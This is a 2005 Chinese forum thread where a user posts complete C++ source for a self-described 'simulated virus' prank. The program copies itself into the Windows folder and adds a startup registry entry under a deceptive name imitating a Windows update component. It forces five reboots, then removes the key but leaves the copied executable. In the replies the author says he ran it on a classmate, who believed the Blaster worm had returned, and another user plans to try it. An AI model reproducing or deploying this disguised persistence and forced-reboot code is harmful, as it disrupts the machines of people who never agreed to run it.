• 6617阅读
  • 4回复

【原创】 模拟病毒循环重启程序源代码 [复制链接]

上一主题 下一主题
离线magicoy
 

只看楼主 倒序阅读 楼主  发表于: 2005-08-28
//记得一个月前Magiclinux系统被我搞崩溃了.所以安装了个windows.无聊看了点点注册表写的程序~别笑话

/*****************************************
*   Copyright (C) 2005 by magicoy               *
*   gzqun@hotmail.com             *
*   The program just on windows XP             *
*****************************************/
#include <iostream>
#include <cstdlib>
#include <string.h>
#include <fstream>
#include <windows.h>
/*下面为修改程序图标头文件.如果不需要,可以删除
#include "resource.h"
*/

using namespace std;

const int justTimes = 5; //常量,修改为重启次数

class TsysCmd
{
    public:
        TsysCmd();
        void ShutDown();
        void CopyMe(char**);
        void RegeditOut();
        void ChangeRegedit();
    private:
        int numbers;
        char sURL[200];
};

TsysCmd::TsysCmd()
{
  strcpy(sURL, "copy \"");
}

void TsysCmd::ShutDown()
{
  system("shutdown /r");
  return;
}

void TsysCmd::CopyMe(char* argv[])
{
  strcat(sURL,argv[0]);
  strcat(sURL,"\"");
  strcat(sURL," \"c:\\WINDOWS\\zvirus.exe\"");
  system(sURL);
  return;
}

void TsysCmd::RegeditOut()
{
  fstream outRegedit;
  outRegedit.open("c:\\WINDOWS\\zshutdown.reg",ios::out);
  if (!outRegedit)
  {
      cout << "The C-Disk can't write!" << endl;
      abort();
  }
  outRegedit << "Windows Registry Editor Version 5.00" << endl;
  outRegedit << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]" <<endl;
  outRegedit << "\"windows updata exp1ore\"=\"C:\\\\WINDOWS\\\\zvirus.exe\"";
  outRegedit.close();
  system("regedit/s C:\\WINDOWS\\zshutdown.reg");
  system("del C:\\WINDOWS\\zshutdown.reg");
  return;
}

void TsysCmd::ChangeRegedit()
{
  HKEY hKey1;
  RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey1);
  RegDeleteValue(hKey1,"windows updata exp1ore");
  system("del c:\\WINDOWS\\ztimes.txt");
}


int main(int argc, char *argv[])
{
/* 修改本程序图标API函数.如果不改,可以删除
  HICON hIcon=LoadIcon(NULL,MAKEINTRESOURCE(IDI_ICON1));
*/
  TsysCmd _p1;
  int number_write = 0;
  fstream inNumber;
  inNumber.open("c:\\WINDOWS\\ztimes.txt",ios::in);
  if (!inNumber)
  {
      fstream outNumber;
      outNumber.open("c:\\WINDOWS\\ztimes.txt",ios::out);
      if (!outNumber)
      {
            cout << "The C-Disk can't write!" << endl;
            abort();
      }
      outNumber << number_write;
      outNumber.close();
      _p1.CopyMe(argv);
      _p1.RegeditOut();
  }
  inNumber >> number_write;
  inNumber.close();
  number_write += 1;
  fstream last_outNumber;
  last_outNumber.open("c:\\WINDOWS\\ztimes.txt",ios::out);
  if (!last_outNumber)
  {
      cout << "The C-Disk can't write!" << endl;
      abort();
  }
  last_outNumber << number_write;
  last_outNumber.close();
  if (justTimes >= number_write)
  {
      for (int i = 0; i < 8; i++)
      {
          cout << "对不起,您不小心点了本程序,模拟病毒程序,您将自动重启机算机" << justTimes << "次!" << endl;
      }
      for (int j = 0; j < 10; j++)
      {
          cout << "提醒您,这是您第" << number_write << "次重启!" <<endl;
      }
      cout << "只是恶作剧程序,请勿伤害他人!";
      _p1.ShutDown();
  }
  else
  {
      _p1.ChangeRegedit();
      for (int k = 0; k < 20; k++)
      {
          cout << "恭喜您,您的" << justTimes << "次重启成功,请电脑上的模拟病毒重启程序已经自动删除!请勿骂作者" << endl;
      }
  }
  system("pause");
  return 0;
}
[ 此贴被XChinux在2005-08-28 09:07重新编辑 ]
永 远 记 得 : 做 人 厚 道 一 点 好 。

离线magicoy

只看该作者 1楼 发表于: 2005-08-28
呵呵~
我给同学做试验.同学原来中过冲击波.他还已为冲击波又来了呢......运行后的效果的确很相像.
永 远 记 得 : 做 人 厚 道 一 点 好 。

离线XChinux

只看该作者 2楼 发表于: 2005-08-28
原创病毒,哈哈
二笔 openSUSE Vim N9 BB10 XChinux@163.com 网易博客 腾讯微博
承接C++/Qt、Qt UI界面、PHP及预算报销系统开发业务
离线magicoy

只看该作者 3楼 发表于: 2005-08-28
老大
      就别打击我啦~
永 远 记 得 : 做 人 厚 道 一 点 好 。

离线acefunware

只看该作者 4楼 发表于: 2005-09-05
爽啊
回去try一下
email:acefunware@yahoo.com.cn
blog:http://acefunware.shineblog.com
快速回复
限100 字节
 
上一个 下一个